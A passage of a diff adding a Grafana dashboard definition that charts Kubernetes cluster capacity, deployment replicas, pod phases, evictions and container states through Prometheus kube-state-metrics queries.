+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "max": 100,
+ "min": 0,
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "#299c46",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 80
+ },
+ {
+ "color": "#d44a3a",
+ "value": 90
+ }
+ ]
+ },
+ "unit": "percentunit"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 4,
+ "w": 6,
+ "x": 12,
+ "y": 1
+ },
+ "id": 6,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_requests{cluster=~\"$cluster\",resource=\"memory\",node=~\"$node\"}) / sum(kube_node_status_allocatable{node=~\"$node\",cluster=~\"$cluster\",resource=\"memory\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Cluster Memory Requested",
+ "type": "gauge"
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 0,
+ "y": 5
+ },
+ "hiddenSeries": false,
+ "id": 9,
+ "legend": {
+ "avg": false,
+ "current": false,
+ "max": false,
+ "min": false,
+ "show": true,
+ "total": false,
+ "values": false
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_node_status_allocatable{cluster=~\"$cluster\",resource=\"pods\",node=~\"$node\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "allocatable",
+ "refId": "A"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_info{node=~\"$node\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "requested",
+ "refId": "C"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Cluster Pod Capacity",
+ "tooltip": {
+ "shared": true,
+ "sort": 0,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "pods",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 6,
+ "y": 5
+ },
+ "hiddenSeries": false,
+ "id": 10,
+ "legend": {
+ "avg": false,
+ "current": false,
+ "max": false,
+ "min": false,
+ "show": true,
+ "total": false,
+ "values": false
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_node_status_capacity{node=~\"$node\",cluster=~\"$cluster\",resource=\"cpu\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "allocatable",
+ "refId": "A"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_node_status_allocatable{node=~\"$node\",cluster=~\"$cluster\",resource=\"cpu\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "capacity",
+ "refId": "B"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_requests{cluster=~\"$cluster\",resource=\"cpu\",node=~\"$node\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "requested",
+ "refId": "C"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_limits{cluster=~\"$cluster\",resource=\"cpu\",node=~\"$node\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "limited",
+ "refId": "D"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Cluster CPU Capacity",
+ "tooltip": {
+ "shared": true,
+ "sort": 0,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "cores",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 12,
+ "y": 5
+ },
+ "hiddenSeries": false,
+ "id": 11,
+ "legend": {
+ "avg": false,
+ "current": false,
+ "max": false,
+ "min": false,
+ "show": true,
+ "total": false,
+ "values": false
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_node_status_allocatable{node=~\"$node\",cluster=~\"$cluster\",resource=\"memory\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "allocatable",
+ "refId": "A"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_node_status_capacity{node=~\"$node\",cluster=~\"$cluster\",resource=\"memory\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "capacity",
+ "refId": "B"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_requests{cluster=~\"$cluster\",resource=\"memory\",node=~\"$node\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "requested",
+ "refId": "C"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_limits{cluster=~\"$cluster\",resource=\"memory\",node=~\"$node\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "legendFormat": "limited",
+ "refId": "D"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Cluster Mem Capacity",
+ "tooltip": {
+ "shared": true,
+ "sort": 0,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "bits",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 10
+ },
+ "id": 14,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Deployments",
+ "type": "row"
+ },
+ {
+ "columns": [],
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fontSize": "100%",
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 0,
+ "y": 11
+ },
+ "id": 16,
+ "links": [],
+ "scroll": true,
+ "showHeader": true,
+ "sort": {
+ "col": 2,
+ "desc": true
+ },
+ "styles": [
+ {
+ "alias": "Time",
+ "align": "auto",
+ "dateFormat": "YYYY-MM-DD HH:mm:ss",
+ "pattern": "Time",
+ "type": "date"
+ },
+ {
+ "alias": "",
+ "align": "auto",
+ "colorMode": "row",
+ "colors": [
+ "rgba(245, 54, 54, 0.9)",
+ "rgba(237, 129, 40, 0.89)",
+ "rgba(50, 172, 45, 0.97)"
+ ],
+ "decimals": 0,
+ "pattern": "Metric",
+ "thresholds": [
+ "0",
+ "0",
+ ".9"
+ ],
+ "type": "string",
+ "unit": "none"
+ },
+ {
+ "alias": "",
+ "align": "auto",
+ "colorMode": "row",
+ "colors": [
+ "rgba(245, 54, 54, 0.9)",
+ "rgba(237, 129, 40, 0.89)",
+ "rgba(50, 172, 45, 0.97)"
+ ],
+ "dateFormat": "YYYY-MM-DD HH:mm:ss",
+ "decimals": 0,
+ "link": false,
+ "pattern": "Value",
+ "thresholds": [
+ "0",
+ "1"
+ ],
+ "type": "number",
+ "unit": "none"
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "kube_deployment_status_replicas{namespace=~\"$namespace\",cluster=~\"$cluster\"}",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 1,
+ "legendFormat": "{{ deployment }}",
+ "refId": "A"
+ }
+ ],
+ "title": "Deployment Replicas - Up To Date",
+ "transform": "timeseries_to_rows",
+ "type": "table-old"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 6,
+ "y": 11
+ },
+ "id": 18,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "mean"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_deployment_status_replicas{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Deployment Replicas",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 12,
+ "y": 11
+ },
+ "id": 19,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "mean"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_deployment_status_replicas_updated{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Deployment Replicas - Updated",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 5,
+ "w": 6,
+ "x": 18,
+ "y": 11
+ },
+ "id": 20,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "mean"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_deployment_status_replicas_unavailable{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Deployment Replicas - Unavailable",
+ "type": "stat"
+ },
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 16
+ },
+ "id": 28,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Pods",
+ "type": "row"
+ },
+ {
+ "columns": [],
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fontSize": "100%",
+ "gridPos": {
+ "h": 9,
+ "w": 6,
+ "x": 0,
+ "y": 17
+ },
+ "id": 68,
+ "links": [],
+ "pluginVersion": "6.2.5",
+ "scroll": true,
+ "showHeader": true,
+ "sort": {
+ "col": 2,
+ "desc": true
+ },
+ "styles": [
+ {
+ "alias": "Time",
+ "align": "auto",
+ "colors": [
+ "rgba(245, 54, 54, 0.9)",
+ "rgba(237, 129, 40, 0.89)",
+ "rgba(50, 172, 45, 0.97)"
+ ],
+ "dateFormat": "YYYY-MM-DD HH:mm:ss",
+ "decimals": 2,
+ "mappingType": 1,
+ "pattern": "Time",
+ "thresholds": [],
+ "type": "hidden",
+ "unit": "short"
+ },
+ {
+ "alias": "",
+ "align": "auto",
+ "colors": [
+ "#56A64B",
+ "#73BF69",
+ "#B877D9"
+ ],
+ "decimals": 2,
+ "pattern": "/.*/",
+ "thresholds": [
+ ""
+ ],
+ "type": "number",
+ "unit": "short"
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "changes(kube_pod_container_status_restarts_total{namespace=~\"$namespace\",cluster=~\"$cluster\"}[30m])>1",
+ "format": "time_series",
+ "instant": true,
+ "interval": "",
+ "intervalFactor": 1,
+ "legendFormat": "{{pod}}",
+ "refId": "A"
+ }
+ ],
+ "title": "Pods restart in 30m",
+ "transform": "timeseries_to_rows",
+ "type": "table-old"
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 9,
+ "w": 6,
+ "x": 6,
+ "y": 17
+ },
+ "hiddenSeries": false,
+ "id": 77,
+ "legend": {
+ "alignAsTable": false,
+ "avg": false,
+ "current": false,
+ "max": false,
+ "min": false,
+ "rightSide": false,
+ "show": true,
+ "total": false,
+ "values": false
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 2,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "kube_pod_status_reason{cluster=~\"$cluster\",namespace=~\"$namespace\", reason=\"Evicted\"}==1",
+ "format": "time_series",
+ "instant": false,
+ "interval": "",
+ "intervalFactor": 1,
+ "legendFormat": "{{pod}}",
+ "refId": "A"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Evicted",
+ "tooltip": {
+ "shared": true,
+ "sort": 0,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "decimals": 0,
+ "format": "short",
+ "label": "",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "#629e51",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 12,
+ "x": 12,
+ "y": 17
+ },
+ "id": 30,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_status_phase{cluster=~\"$cluster\",namespace=~\"$namespace\", phase=\"Running\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Pods Running",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "#629e51",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 12,
+ "y": 20
+ },
+ "id": 33,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_status_phase{cluster=~\"$cluster\",namespace=~\"$namespace\", phase=\"Succeeded\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Pods Succeeded",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "#629e51",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 18,
+ "y": 20
+ },
+ "id": 32,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_status_phase{cluster=~\"$cluster\",namespace=~\"$namespace\", phase=\"Failed\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Pods Failed",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "#629e51",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 12,
+ "y": 23
+ },
+ "id": 31,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_status_phase{cluster=~\"$cluster\",namespace=~\"$namespace\", phase=\"Pending\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Pods Pending",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "#629e51",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 18,
+ "y": 23
+ },
+ "id": 34,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_status_phase{cluster=~\"$cluster\",namespace=~\"$namespace\", phase=\"Unknown\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Pods Unknown",
+ "type": "stat"
+ },
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 26
+ },
+ "id": 36,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Containers",
+ "type": "row"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 0,
+ "y": 27
+ },
+ "id": 38,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_status_running{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "legendFormat": "",
+ "refId": "A"
+ }
+ ],
+ "title": "Containers Running",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 6,
+ "y": 27
+ },
+ "id": 39,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_status_waiting{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Containers Waiting",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 6,
+ "x": 12,
+ "y": 27
+ },
+ "id": 40,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_status_terminated{namespace=~\"$namespace\",cluster=~\"$cluster\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Containers Terminated",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "fixedColor": "rgb(31, 120, 193)",
+ "mode": "fixed"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
